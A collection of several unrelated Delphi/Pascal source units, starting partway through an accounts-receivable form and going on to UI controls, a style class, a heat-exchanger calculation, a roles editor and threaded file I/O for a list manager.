if (grdContasReceber.Cells[8, grdContasReceber.Selected] = 'PAGO') or
(grdContasReceber.Cells[8, grdContasReceber.Selected] = 'CANCELADO') then
begin
fMsg(Self,'','Não é possivel cancelar um titulo com o status '+
grdContasReceber.Cells[8, grdContasReceber.Selected],fIconExclamation,fBtnOK);
Exit;
end
else
begin
lblBaixaComercio.Text := grdContasReceber.Cells[3,grdContasReceber.Selected];
lblBaixaContrato.Text := grdContasReceber.Cells[0,grdContasReceber.Selected];
lblBaixaParcela.Text := grdContasReceber.Cells[1,grdContasReceber.Selected];
If grdContasReceber.Cells[8,grdContasReceber.Selected] = 'AVENCER' then
begin
lblVencimento.Text := ExtractText(grdContasReceber.Cells[4,grdContasReceber.Selected],gCorStAVencer,'</s></font>');
lblValor.Text := 'R$ ' + ExtractText(grdContasReceber.Cells[7,grdContasReceber.Selected],gCorStAVencer,'</s></font>');
end
else
begin
lblVencimento.Text := ExtractText(grdContasReceber.Cells[4,grdContasReceber.Selected],gCorStVencido,'</s></font>');
lblValor.Text := 'R$ ' + ExtractText(grdContasReceber.Cells[7,grdContasReceber.Selected],gCorStVencido,'</s></font>');
end;
ModalObs.Visible := True;
recBaixa.Visible := True;
recObs.Visible := False;
edtDocumento.Text := '';
edtDocumento.SetFocus;
end;
end;
procedure Tfrm_ListaContaReceber.sbtnBaixarClick(Sender: TObject);
begin
if edtDocumento.Text = '' then
begin
fMsg(Self,'','É necessário preencher o número do documento!',fIconExclamation,fBtnOK);
Exit;
end
else
begin
fMsg(Self,'','Confirma a baixa deste titulo?',fIconInterrogation,fbtnYesNo);
Tag := 2;
Exit;
end;
end;
procedure Tfrm_ListaContaReceber.sbtnBaixarVoltarClick(Sender: TObject);
begin
ModalObs.Visible := False;
end;
procedure Tfrm_ListaContaReceber.sbtnCancelarClick(Sender: TObject);
begin
Tag := 1;
fMsg(Self,'','Confirma o cancelamento deste titulo?',fIconInterrogation, fbtnYesNo);
Exit;
end;
procedure Tfrm_ListaContaReceber.sbtnNaoClick(Sender: TObject);
begin
recModal.Visible := False;
end;
procedure Tfrm_ListaContaReceber.sbtnOKClick(Sender: TObject);
begin
recModal.Visible := False;
end;
procedure Tfrm_ListaContaReceber.sbtnSairClick(Sender: TObject);
begin
Close;
end;
procedure Tfrm_ListaContaReceber.sbtnSimClick(Sender: TObject);
begin
//Cancelamento TAG = 1
if Tag = 1 then
begin
With dmGeral.qryGeral do
begin
Close;
Sql.Clear;
Sql.Add('UPDATE CONTARECEBER SET');
Sql.Add('STATUSCR = ''CANCELADO'',');
Sql.Add('OBSCANCELCR = :OBS');
Sql.Add('WHERE (IDCONTRATO_CR = :IDCONTRATO) AND');
Sql.Add('(NRPARCELACR = :NRPARCELA)');
Params[0].AsString := Memo1.Text;
Params[1].AsInteger := StrToInt(Copy(lblContrato.Text,1,4));
Params[2].AsInteger := lblParcela.Text.ToInteger;
ExecSql;
fMsg(Self,'','Titulo cancelado com sucesso!',fIconInformation, fBtnOK);
recModal.Visible := False;
ModalObs.Visible := False;
FormShow(Self);
end;
end;
//Baixa TAG = 2
if Tag = 2 then
begin
With dmGeral.qryGeral do
begin
Close;
Sql.Clear;
Sql.Add('UPDATE CONTARECEBER SET');
Sql.Add('STATUSCR = ''PAGO'',');
Sql.Add('PAGTOCR = :PAGTO,');
Sql.Add('DOCCR = :DOC');
Sql.Add('WHERE (IDCONTRATO_CR = :IDCONTRATO) AND');
Sql.Add('(NRPARCELACR = :NRPARCELA)');
Params[0].AsDate := Date;
Params[1].AsString := edtDocumento.Text;
Params[2].AsInteger := StrToInt(Copy(lblBaixaContrato.Text,1,4));
Params[3].AsInteger := lblBaixaParcela.Text.ToInteger;
ExecSql;
fMsg(Self,'','Titulo baixado com sucesso!',fIconInformation, fBtnOK);
recModal.Visible := False;
ModalObs.Visible := False;
FormShow(Self);
end;
end;
end;
procedure Tfrm_ListaContaReceber.sbtnVoltarClick(Sender: TObject);
begin
ModalObs.Visible := False;
Memo1.Text := '';
end;
end.
|
unit Style;
interface
uses
Types, Classes, Graphics;
type
TDisplay = ( diInline, diBlock );
TTextAlign = ( taDefault, taLeft, taCenter, taRight );
//
TStyle = class
private
FDisplay: TDisplay;
FColor: TColor;
FBackgroundColor: TColor;
FFontSize: Integer;
FFontFamily: string;
FHeight: Integer;
FWidth: Integer;
FLeft: Integer;
FTop: Integer;
FTextAlign: TTextAlign;
public
constructor Create;
destructor Destroy; override;
property BackgroundColor: TColor read FBackgroundColor
write FBackgroundColor default clDefault;
property Color: TColor read FColor write FColor default clDefault;
property Display: TDisplay read FDisplay write FDisplay default diInline;
property FontSize: Integer read FFontSize write FFontSize;
property FontFamily: string read FFontFamily write FFontFamily;
property Left: Integer read FLeft write FLeft;
property Top: Integer read FTop write FTop;
property Width: Integer read FWidth write FWidth;
property Height: Integer read FHeight write FHeight;
property TextAlign: TTextAlign read FTextAlign write FTextAlign;
end;
implementation
{ TStyle }
constructor TStyle.Create;
begin
Display := diInline;
Color := clDefault;
BackgroundColor := clDefault;
end;
destructor TStyle.Destroy;
begin
inherited;
end;
end.
|
unit UHeatExchanger;
interface
uses UFlow;
type
HeatExchanger = class
d_in := 0.16;
d_out := 0.38;
length := 3.0;
k := 4900;
function calculate(hot, cold: Flow;
h: real := 0.01): array of Flow;
end;
implementation
function HeatExchanger.calculate(hot, cold: Flow;
h: real): array of Flow;
begin
var v_cold := cold.volume_flow_rate / (3.14 * d_in ** 2 / 4 * length);
var v_hot := hot.volume_flow_rate / (3.14 * d_out ** 2 / 4 * length
- 3.14 * d_in ** 2 / 4 * length);
var len := 0.0;
var hot_ := new Flow(hot.mass_fractions, hot.mass_flow_rate,
hot.temperature);
var cold_ := new Flow(cold.mass_fractions, cold.mass_flow_rate,
cold.temperature);
while len <= length do
begin
hot_.temperature -= k * 3.14 * d_out
/ (v_hot * hot_.density * 1e3 * hot_.cp)
* (hot_.temperature - cold_.temperature);
cold_.temperature += k * 3.14 * d_in
/ (v_cold * cold_.density * 1e3 * cold_.cp)
* (hot_.temperature - cold_.temperature);
len += h
end;
result := Arr(hot_, cold_)
end;
end. |
unit uBase;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, ExtCtrls, Registry;
type
TfrmBase = class(TForm)
btnOK: TBitBtn;
btnReset: TBitBtn;
btnCancel: TBitBtn;
bvl: TBevel;
imgHelp: TImage;
procedure FormCreate(Sender: TObject);
procedure FormShortCut(var Msg: TWMKey; var Handled: Boolean);
procedure btnOKClick(Sender: TObject);
procedure btnResetClick(Sender: TObject);
procedure btnCancelClick(Sender: TObject);
procedure imgHelpClick(Sender: TObject);
private
{ Private declarations }
//提示框窗体可闪标题栏
procedure WMSetCursor(var Msg: TWMSetCursor); message WM_SETCURSOR;
protected
//数据操作过程
procedure InitData; virtual;
procedure LoadData; virtual;
procedure SaveData; virtual;
procedure ResetData; virtual;
//检查数据
function CheckData: Boolean; virtual;
public
{ Public declarations }
HelpHtml: string;
end;
var
frmBase: TfrmBase;
implementation
uses uGlobal, Quiz;
{$R *.dfm}
{ TfrmBase }
procedure TfrmBase.WMSetCursor(var Msg: TWMSetCursor);
begin
if (SmallInt(Msg.HitTest) = HTERROR) and (Msg.MouseMsg = WM_LBUTTONDOWN) then
DefaultHandler(Msg)
else inherited;
end;
procedure TfrmBase.InitData;
begin
//
end;
procedure TfrmBase.LoadData;
begin
//
end;
procedure TfrmBase.SaveData;
begin
//
end;
procedure TfrmBase.ResetData;
begin
//
end;
function TfrmBase.CheckData: Boolean;
begin
Result := True;
end;
procedure TfrmBase.FormCreate(Sender: TObject);
var
reg: TRegistry;
begin
if App.RegType = rtTrial then
begin
reg := TRegistry.Create;
try
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey(QUIZ_KEY_NAME, False);
if reg.ValueExists('RegMail') then reg.DeleteValue('RegMail');
if reg.ValueExists('RegCode') then reg.DeleteValue('RegCode');
finally
reg.Free;
end;
end;
end;
procedure TfrmBase.FormShortCut(var Msg: TWMKey; var Handled: Boolean);
begin
case Msg.CharCode of
VK_F1: imgHelp.OnClick(imgHelp);
VK_ESCAPE:
if fsModal in FormState then ModalResult := mrCancel;
end;
end;
procedure TfrmBase.btnOKClick(Sender: TObject);
begin
if CheckData() then
begin
ModalResult := mrOk;
SaveData();
end;
end;
procedure TfrmBase.btnResetClick(Sender: TObject);
begin
ResetData();
end;
procedure TfrmBase.btnCancelClick(Sender: TObject);
begin
ModalResult := mrCancel;
end;
procedure TfrmBase.imgHelpClick(Sender: TObject);
begin
if HelpHtml <> '' then HtmlHelp(Application.Handle, App.Path + 'help.chm::/' + HelpHtml, HH_DISPLAY_TOPIC, 0);
end;
end.
|
unit BCEditor.Editor.LeftMargin.Bookmarks.Panel;
interface
uses
System.Classes, Vcl.Graphics, BCEditor.Types;
type
TBCEditorLeftMarginBookMarkPanel = class(TPersistent)
strict private
FLeftMargin: Integer;
FOnChange: TNotifyEvent;
FOptions: TBCEditorLeftMarginBookMarkPanelOptions;
FOtherMarkXOffset: Integer;
FVisible: Boolean;
FWidth: Integer;
procedure DoChange;
procedure SetLeftMargin(AValue: Integer);
procedure SetOtherMarkXOffset(AValue: Integer);
procedure SetWidth(AValue: Integer);
procedure SetVisible(const AValue: Boolean);
public
constructor Create;
procedure Assign(ASource: TPersistent); override;
published
property LeftMargin: Integer read FLeftMargin write SetLeftMargin default 2;
property OnChange: TNotifyEvent read FOnChange write FOnChange;
property Options: TBCEditorLeftMarginBookMarkPanelOptions read FOptions write FOptions default [bpoToggleBookmarkByClick];
property OtherMarkXOffset: Integer read FOtherMarkXOffset write SetOtherMarkXOffset default 12;
property Visible: Boolean read FVisible write SetVisible default True;
property Width: Integer read FWidth write SetWidth default 20;
end;
implementation
uses
System.Math;
constructor TBCEditorLeftMarginBookMarkPanel.Create;
begin
inherited;
FWidth := 20;
FLeftMargin := 2;
FOptions := [bpoToggleBookmarkByClick];
FVisible := True;
FOtherMarkXOffset := 12;
end;
procedure TBCEditorLeftMarginBookMarkPanel.Assign(ASource: TPersistent);
begin
if Assigned(ASource) and (ASource is TBCEditorLeftMarginBookMarkPanel) then
with ASource as TBCEditorLeftMarginBookMarkPanel do
begin
Self.FLeftMargin := FLeftMargin;
Self.FOtherMarkXOffset := FOtherMarkXOffset;
Self.FVisible := FVisible;
Self.FWidth := FWidth;
if Assigned(Self.FOnChange) then
Self.FOnChange(Self);
end
else
inherited Assign(ASource);
end;
procedure TBCEditorLeftMarginBookMarkPanel.DoChange;
begin
if Assigned(FOnChange) then
FOnChange(Self);
end;
procedure TBCEditorLeftMarginBookMarkPanel.SetWidth(AValue: Integer);
begin
AValue := Max(0, AValue);
if FWidth <> AValue then
begin
FWidth := AValue;
DoChange
end;
end;
procedure TBCEditorLeftMarginBookMarkPanel.SetVisible(const AValue: Boolean);
begin
if FVisible <> AValue then
begin
FVisible := AValue;
DoChange
end;
end;
procedure TBCEditorLeftMarginBookMarkPanel.SetLeftMargin(AValue: Integer);
begin
if FLeftMargin <> AValue then
begin
FLeftMargin := AValue;
DoChange;
end;
end;
procedure TBCEditorLeftMarginBookMarkPanel.SetOtherMarkXOffset(AValue: Integer);
begin
if FOtherMarkXOffset <> AValue then
begin
FOtherMarkXOffset := AValue;
DoChange;
end;
end;
end.
|
unit FMX.IS_Base;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Graphics, FMX.Dialogs, FMX.Controls.Presentation, FMX.Ani,
FMX.Effects, FMX.Filter.Effects, FMX.Objects, FMX.StdCtrls, FMX.Forms;
type
[ComponentPlatformsAttribute (pidWin32 or pidWin64 or pidOSX32 or pidiOSDevice32 or pidiOSDevice64 or pidAndroid)]
TIS_Control = Class(TRectangle)
Private
FCornerWidth : Single;
FLoadresources : Boolean;
FCanFocus : Boolean;
FShadow : TShadowEffect;
FShadowColor : TAlphaColor;
FClicked : TNotifyEvent;
function GetEdgeSize : Single;
function GetShowShadow : Boolean;
function GetEdgeColor : TAlphaColor;
function GetShadowColor : TAlphaColor;
function GetColor : TAlphaColor;
procedure SetCornerWidth(const Value: Single);
procedure SetEdgeSize (const Value: Single);
procedure SetShowShadow (const Value: Boolean);
procedure SetEdgeColor (const Value: TAlphaColor);
procedure SetShadowColor(const Value: TAlphaColor);
Protected
{$IfDef MSWINDOWS}
procedure Click; Override;
{$ELSE}
procedure Tap(const Point:TPointF); Override;
{$ENDIF}
Procedure Clicked; Virtual;
function GetForm: TForm; Virtual;
procedure SetColor(const Value: TAlphaColor); Virtual;
Procedure LoadResources; Virtual;
Procedure RepaintControl; Virtual;
Procedure DoFocus; Virtual;
Procedure Paint; Override;
procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Single); Override;
Public
Constructor Create(aOwner : TComponent); Override;
Published
Property Form : TForm read GetForm;
Property Color : TAlphaColor read GetColor write SetColor;
property EdgeSize : Single read GetEdgeSize write SetEdgeSize;
property EdgeColor : TAlphaColor read GetEdgeColor write SetEdgeColor;
property CornerWidth : Single read FCornerWidth write SetCornerWidth;
Property ShowShadow : Boolean read GetShowShadow write SetShowShadow;
Property ShadowColor : TAlphaColor read GetShadowColor Write SetShadowColor;
Property CanFocus : Boolean read FCanFocus write FCanFocus;
Property OnClicked : TNotifyEvent Read FClicked write FClicked;
End;
[ComponentPlatformsAttribute (pidWin32 or pidWin64 or pidOSX32 or pidiOSDevice32 or pidiOSDevice64 or pidAndroid)]
TIS_CircleControl = Class(TCircle)
Private
FLoadresources : Boolean;
FCanFocus : Boolean;
FShadow : TShadowEffect;
FShadowColor : TAlphaColor;
FClicked : TNotifyEvent;
function GetEdgeSize : Single;
function GetShowShadow : Boolean;
function GetEdgeColor : TAlphaColor;
function GetColor : TAlphaColor;
procedure SetEdgeSize (const Value: Single);
procedure SetShowShadow (const Value: Boolean);
procedure SetEdgeColor (const Value: TAlphaColor);
function GetShadowColor: TAlphaColor;
procedure SetShadowColor(const Value: TAlphaColor);
Protected
{$IfDef MSWINDOWS}
procedure Click; Override;
{$ELSE}
procedure Tap(const Point:TPointF); Override;
{$ENDIF}
Procedure Clicked; Virtual;
function GetForm: TForm; Virtual;
procedure SetColor(const Value: TAlphaColor); Virtual;
Procedure LoadResources; Virtual;
Procedure RepaintControl; Virtual;
Procedure DoFocus; Virtual;
Procedure Paint; Override;
procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Single); Override;
Public
Constructor Create(aOwner : TComponent); Override;
Published
Property Form : TForm read GetForm;
Property Color : TAlphaColor read GetColor write SetColor;
property EdgeSize : Single read GetEdgeSize write SetEdgeSize;
property EdgeColor : TAlphaColor read GetEdgeColor write SetEdgeColor;
Property ShowShadow : Boolean read GetShowShadow write SetShowShadow;
Property ShadowColor : TAlphaColor read GetShadowColor Write SetShadowColor;
Property CanFocus : Boolean read FCanFocus write FCanFocus;
Property OnClicked : TNotifyEvent Read FClicked write FClicked;
End;
implementation
{ TIS_Control }
procedure TIS_Control.Clicked;
begin
TThread.Queue(Nil,
procedure
Begin
if Assigned(OnClicked) then OnClicked(Self);
End);
end;
{$IfDef MSWINDOWS}
procedure TIS_Control.Click;
Begin
Clicked;
End;
{$ELSE}
procedure TIS_Control.Tap(const Point:TPointF);
Begin
Clicked;
End;
{$ENDIF}
function TIS_Control.GetForm: TForm;
Var
Form : TFMXObject;
begin
Form := Parent;
while Not(Form Is TForm) And Not(Form = Nil) do Form := Form.Parent;
Result := Form As TForm;
end;
constructor TIS_Control.Create(aOwner: TComponent);
begin
inherited;
FShadow := Nil;
FLoadResources := True;
CornerWidth := 2;
EdgeSize := 0;
CanFocus := True;
Color := TAlphaColorRec.White;
ShadowColor := TAlphaColorRec.Gray;
end;
procedure TIS_Control.SetColor(const Value: TAlphaColor);
begin
Fill.Color := Value;
end;
procedure TIS_Control.SetCornerWidth(const Value: Single);
begin
Self.XRadius := Value;
Self.YRadius := Value;
FCornerWidth := Value;
Repaint;
end;
procedure TIS_Control.SetEdgeColor(const Value: TAlphaColor);
begin
Stroke.Color := Value;
end;
procedure TIS_Control.SetEdgeSize(const Value: Single);
begin
Stroke.Thickness := Value;
if Value = 0 then
Stroke.Kind := TBrushKind.None
Else
Stroke.Kind := TBrushKind.Solid;
end;
procedure TIS_Control.SetShadowColor(const Value: TAlphaColor);
begin
FShadowColor := Value;
if FShadow <> Nil Then
Begin
FShadow.ShadowColor := FShadowColor;
End;
end;
procedure TIS_Control.SetShowShadow(const Value: Boolean);
begin
if Value And (FShadow = Nil) Then
Begin
FShadow := TShadowEffect.Create(Self);
FShadow.Stored := False;
FShadow.Parent := Self;
FShadow.ShadowColor := FShadowColor;
FShadow.Enabled := True;
End;
if FShadow <> Nil then FShadow.Enabled := Value;
end;
procedure TIS_Control.DoFocus;
begin
end;
function TIS_Control.GetColor: TAlphaColor;
begin
Result := Fill.Color;
end;
function TIS_Control.GetEdgeColor: TAlphaColor;
begin
Result := Stroke.Color;
end;
function TIS_Control.GetEdgeSize: Single;
begin
Result := Stroke.Thickness;
end;
function TIS_Control.GetShadowColor: TAlphaColor;
begin
Result := FShadowColor;
end;
function TIS_Control.GetShowShadow: Boolean;
begin
If FShadow <> Nil Then Result := FShadow.enabled Else Result := False;
end;
procedure TIS_Control.LoadResources;
begin
FLoadResources := False;
end;
procedure TIS_Control.MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Single);
Var
Form : TForm;
Obj : TFMXObject;
begin
inherited;
if FCanFocus then
Begin
form := GetForm;
Obj := Nil;
if (Form <> Nil) And (Form.Focused <> Nil) Then
Begin
Obj := Form.Focused.GetObject;
End;
if Obj Is TControl then (Obj as TControl).ResetFocus;
Setfocus;
DoFocus;
End;
end;
procedure TIS_Control.Paint;
begin
if FLoadResources then
Begin
LoadResources;
End;
inherited;
end;
procedure TIS_Control.RepaintControl;
begin
FLoadResources := True;
Repaint;
end;
{ TIS_CircleControl }
procedure TIS_CircleControl.Clicked;
begin
if Assigned(OnClicked) then OnClicked(Self);
end;
{$IFDEF MSWINDOWS}
procedure TIS_CircleControl.Click;
Begin
Clicked;
End;
{$ELSE}
procedure TIS_CircleControl.Tap(const Point:TPointF);
Begin
Clicked;
End;
{$ENDIF}
function TIS_CircleControl.GetForm: TForm;
Var
Form : TFMXObject;
begin
Form := Parent;
while Not(Form Is TForm) And Not(Form = Nil) do Form := Form.Parent;
Result := Form As TForm;
end;
constructor TIS_CircleControl.Create(aOwner: TComponent);
begin
inherited;
FShadow := Nil;
FLoadResources := True;
EdgeSize := 0;
CanFocus := True;
Width := 50;
Height := 50;
Color := TAlphaColorRec.White;
ShadowColor := TAlphaColorRec.Gray;
end;
procedure TIS_CircleControl.DoFocus;
begin
end;
function TIS_CircleControl.GetColor: TAlphaColor;
begin
Result := Fill.Color;
end;
function TIS_CircleControl.GetEdgeColor: TAlphaColor;
begin
Result := Stroke.Color;
end;
function TIS_CircleControl.GetEdgeSize: Single;
begin
Result := Stroke.Thickness;
end;
procedure TIS_CircleControl.SetColor(const Value: TAlphaColor);
begin
Fill.Color := Value;
end;
procedure TIS_CircleControl.SetEdgeColor(const Value: TAlphaColor);
begin
Stroke.Color := Value;
end;
procedure TIS_CircleControl.SetEdgeSize(const Value: Single);
begin
Stroke.Thickness := Value;
end;
function TIS_CircleControl.GetShadowColor: TAlphaColor;
begin
Result := FShadowColor;
end;
function TIS_CircleControl.GetShowShadow: Boolean;
begin
If FShadow <> Nil Then Result := FShadow.enabled Else Result := False;
end;
procedure TIS_CircleControl.SetShadowColor(const Value: TAlphaColor);
begin
FShadowColor := Value;
if FShadow <> Nil Then
Begin
FShadow.ShadowColor := FShadowColor;
End;
end;
procedure TIS_CircleControl.SetShowShadow(const Value: Boolean);
begin
if Value And (FShadow = Nil) Then
Begin
FShadow := TShadowEffect.Create(Self);
FShadow.Stored := False;
FShadow.Parent := Self;
FShadow.ShadowColor := FShadowColor;
FShadow.Enabled := True;
End;
if FShadow <> Nil then FShadow.Enabled := Value;
end;
procedure TIS_CircleControl.LoadResources;
begin
FLoadResources := False;
end;
procedure TIS_CircleControl.MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Single);
Var
Form : TForm;
Obj : TFMXObject;
begin
inherited;
if FCanFocus then
Begin
form := GetForm;
Obj := Nil;
if (Form <> Nil) And (Form.Focused <> Nil) Then
Begin
Obj := Form.Focused.GetObject;
End;
if Obj Is TControl then (Obj as TControl).ResetFocus;
Self.Setfocus;
DoFocus;
End;
end;
procedure TIS_CircleControl.Paint;
begin
if FLoadResources then
Begin
LoadResources;
End;
inherited;
end;
procedure TIS_CircleControl.RepaintControl;
begin
FLoadResources := True;
Repaint;
end;
end.
|
unit cn_Roles_AE;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxLookAndFeelPainters, StdCtrls, cxTextEdit, cxButtons, cxLabel,
cxContainer, cxEdit, cxMaskEdit, cxButtonEdit, cxControls, cxGroupBox,
Ibase, cnConsts, cn_DM_Roles, cn_Common_Funcs, cnConsts_Messages, GlobalSPR;
type
TfrmAddEdit = class(TForm)
GroupBox: TcxGroupBox;
Smeta_Edit: TcxButtonEdit;
Smeta_Label: TcxLabel;
Smeta_description_Label: TcxLabel;
OKButton: TcxButton;
CancelButton: TcxButton;
TextEdit: TcxTextEdit;
Group_Label: TLabel;
procedure CancelButtonClick(Sender: TObject);
procedure OKButtonClick(Sender: TObject);
procedure Smeta_EditPropertiesEditValueChanged(Sender: TObject);
procedure Smeta_EditPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure Smeta_EditKeyPress(Sender: TObject; var Key: Char);
private
PLanguageIndex: byte;
DB_sp_Handle : TISC_DB_HANDLE;
procedure FormIniLanguage;
public
ID_SMET : int64;
constructor Create(AOwner:TComponent;DB_Handle:TISC_DB_HANDLE; Li : byte);reintroduce;
end;
implementation
{$R *.dfm}
constructor TfrmAddEdit.Create(AOwner:TComponent;DB_Handle:TISC_DB_HANDLE; Li : byte);
begin
Screen.Cursor:=crHourGlass;
PLanguageIndex := Li;
DB_sp_Handle := DB_Handle;
inherited Create(AOwner);
FormIniLanguage;
Screen.Cursor:=crDefault;
end;
procedure TfrmAddEdit.FormIniLanguage;
begin
Group_Label.Caption := cnConsts.cn_roles_Group[PLanguageIndex];
Smeta_Label.Caption:= cnConsts.cn_Smeta[PLanguageIndex];
OkButton.Caption:= cnConsts.cn_Accept[PLanguageIndex];
CancelButton.Caption:= cnConsts.cn_Cancel[PLanguageIndex];
end;
procedure TfrmAddEdit.CancelButtonClick(Sender: TObject);
begin
close;
end;
procedure TfrmAddEdit.OKButtonClick(Sender: TObject);
begin
if not cn_Common_Funcs.IntegerCheck(Smeta_Edit.Text) then begin
ShowMessage(cnConsts_Messages.cn_warningVvod_Smeta[PLanguageIndex]);
Smeta_description_Label.Clear;
Smeta_description_Label.Visible:=false;
Smeta_Edit.SetFocus;
exit;
end;
ModalResult:= MrOk;
end;
procedure TfrmAddEdit.Smeta_EditPropertiesEditValueChanged(
Sender: TObject);
var
DM:TDM_ROLES;
kav : string;
CurrentDate : TDateTime;
begin
if Smeta_Edit.Text= '' then exit;
if not cn_Common_Funcs.IntegerCheck(Smeta_Edit.Text) then begin
ShowMessage(cnConsts_Messages.cn_warningVvod_Smeta[PLanguageIndex]);
Smeta_description_Label.Clear;
Smeta_description_Label.Visible:=false;
Smeta_Edit.SetFocus;
exit;
end;
kav := '''';
DM:=TDM_ROLES.Create(Self);
DM.DB.Handle:=DB_sp_Handle;
DM.StProc.StoredProcName := 'ST_GET_CURRENT_DATE';
DM.StProc.Transaction.StartTransaction;
DM.StProc.Prepare;
DM.StProc.ExecProc;
CurrentDate := DM.StProc.ParamByName('CUR_DATE').AsDateTime;
DM.StProc.Transaction.Commit;
DM.ReadDataSet.SQLs.SelectSQL.Text := 'select ID_OBJECT, TITLE_OBJECT from PUB_GET_NAME_BUDG_BY_KOD ( '+Smeta_Edit.Text+','+kav+ datetostr(CurrentDate)+kav+',' +'1)';
DM.DB.Handle:=DB_sp_Handle;
DM.ReadDataSet.Open;
if DM.ReadDataSet['ID_OBJECT']<> null then begin
ID_SMET := DM.ReadDataSet['ID_OBJECT'];
if DM.ReadDataSet['TITLE_OBJECT']<> null then begin
Smeta_description_Label.Caption:= DM.ReadDataSet['TITLE_OBJECT'];
Smeta_description_Label.Visible:=true;
end
else begin
Smeta_description_Label.Clear;
Smeta_description_Label.Visible:=false;
end
end
else begin
ShowMessage(cnConsts_Messages.cn_warningVvod_Smeta[PLanguageIndex]);
Smeta_description_Label.Clear;
Smeta_description_Label.Visible:=false;
Smeta_Edit.SetFocus;
DM.ReadDataSet.close;
DM.Free;
exit;
end;
DM.ReadDataSet.close;
DM.Free;
end;
procedure TfrmAddEdit.Smeta_EditPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
var
id:variant;
DM:TDM_ROLES;
CurrentDate : TDateTime;
begin
DM:=TDM_ROLES.Create(Self);
DM.DB.Handle:=DB_sp_Handle;
DM.StProc.StoredProcName := 'ST_GET_CURRENT_DATE';
DM.StProc.Transaction.StartTransaction;
DM.StProc.Prepare;
DM.StProc.ExecProc;
CurrentDate := DM.StProc.ParamByName('CUR_DATE').AsDateTime;
DM.StProc.Transaction.Commit;
id:=GlobalSPR.GetSmets(self,DB_sp_Handle,CurrentDate,psmSmet);
if VarArrayDimCount(id)>0 //- проверка на то что id вариантный массив
then begin
if id[0]<>NULL
then begin
ID_SMET := id[0];
Smeta_Edit.Text:=vartostr(id[3]);
Smeta_description_Label.Caption:=vartostr(id[2]);
Smeta_description_Label.Visible:=true;
end;
end;
end;
procedure TfrmAddEdit.Smeta_EditKeyPress(Sender: TObject; var Key: Char);
begin
if key = #13 then OKButton.SetFocus;
end;
end.
|
unit InflatablesList_Manager_IO_Threaded;
{$INCLUDE '.\InflatablesList_defs.inc'}
interface
uses
Classes,
InflatablesList_Types,
InflatablesList_Manager_IO;
type
TILManager_IO_Threaded = class(TILManager_IO)
protected
procedure LoadedDataCopyHandler(Sender: TObject); virtual;
public
procedure SaveToFileThreaded(EndNotificationHandler: TNotifyEvent); virtual;
procedure LoadFromFileThreaded(EndNotificationHandler: TILLoadingDoneEvent); virtual;
end;
implementation
uses
InflatablesList_Encryption,
InflatablesList_Manager_Base,
InflatablesList_Manager;
type
TILSavingThread = class(TThread)
private
fLocalManager: TILManager;
fOnEndNotify: TNotifyEvent;
protected
procedure sync_NotifyEnd; virtual;
procedure Execute; override;
public
constructor Create(ILManager: TILManager_Base; EndNotificationHandler: TNotifyEvent);
destructor Destroy; override;
end;
//------------------------------------------------------------------------------
TILLoadingThread = class(TThread)
private
fLocalManager: TILManager;
fOnEndNotify: TILLoadingDoneEvent;
fOnDataCopy: TNotifyEvent;
fResult: TILLoadingResult;
protected
procedure sync_NotifyEnd; virtual;
procedure sync_CopyData; virtual;
procedure Execute; override;
public
constructor Create(ILManager: TILManager_Base; EndNotificationHandler: TILLoadingDoneEvent; DataCopyHandler: TNotifyEvent);
destructor Destroy; override;
end;
//==============================================================================
procedure TILSavingThread.sync_NotifyEnd;
begin
If Assigned(fOnEndNotify) then
fOnEndNotify(nil);
end;
//------------------------------------------------------------------------------
procedure TILSavingThread.Execute;
begin
try
fLocalManager.SaveToFile;
except
// just suppress exceptions
end;
Synchronize(sync_NotifyEnd);
end;
//==============================================================================
constructor TILSavingThread.Create(ILManager: TILManager_Base; EndNotificationHandler: TNotifyEvent);
begin
inherited Create(False);
FreeOnTerminate := True;
{
do backup here not in thread, changes in backup list are not propagated back
into main manager
}
If not ILManager.StaticSettings.NoBackup then
ILManager.BackupManager.Backup;
fLocalManager := TILManager.CreateAsCopy(ILManager,False);
fOnEndNotify := EndNotificationHandler;
end;
//------------------------------------------------------------------------------
destructor TILSavingThread.Destroy;
begin
fLocalManager.Free;
inherited;
end;
//==============================================================================
//------------------------------------------------------------------------------
//==============================================================================
procedure TILLoadingThread.sync_NotifyEnd;
begin
If Assigned(fOnEndNotify) then
fOnEndNotify(fResult);
end;
//------------------------------------------------------------------------------
procedure TILLoadingThread.sync_CopyData;
begin
If Assigned(fOnDataCopy) then
fOnDataCopy(fLocalManager);
end;
//------------------------------------------------------------------------------
procedure TILLoadingThread.Execute;
begin
try
fLocalManager.LoadFromFile;
fResult := illrSuccess;
Synchronize(sync_CopyData);
except
on E: EILWrongPassword do
fResult := illrWrongPassword
else
fResult := illrFailed;
end;
Synchronize(sync_NotifyEnd);
end;
//==============================================================================
constructor TILLoadingThread.Create(ILManager: TILManager_Base; EndNotificationHandler: TILLoadingDoneEvent; DataCopyHandler: TNotifyEvent);
begin
inherited Create(False);
FreeOnTerminate := True;
fLocalManager := TILManager.CreateAsCopy(ILManager,False);
fOnEndNotify := EndNotificationHandler;
fOnDataCopy := DataCopyHandler;
fResult := illrSuccess;
end;
//------------------------------------------------------------------------------
destructor TILLoadingThread.Destroy;
begin
fLocalManager.Free;
inherited;
end;
//==============================================================================
//------------------------------------------------------------------------------
//==============================================================================
procedure TILManager_IO_Threaded.LoadedDataCopyHandler(Sender: TObject);
begin
// sender is expected to be of type TILManager
If Sender is TILManager then
begin
CopyFrom(TILManager(Sender),False);
AssignInternalEventHandlers;
end;
end;
//==============================================================================
procedure TILManager_IO_Threaded.SaveToFileThreaded(EndNotificationHandler: TNotifyEvent);
begin
// no need to assign the created object anywhere
TILSavingThread.Create(Self,EndNotificationHandler);
end;
//------------------------------------------------------------------------------
procedure TILManager_IO_Threaded.LoadFromFileThreaded(EndNotificationHandler: TILLoadingDoneEvent);
begin
TILLoadingThread.Create(Self,EndNotificationHandler,LoadedDataCopyHandler);
end;
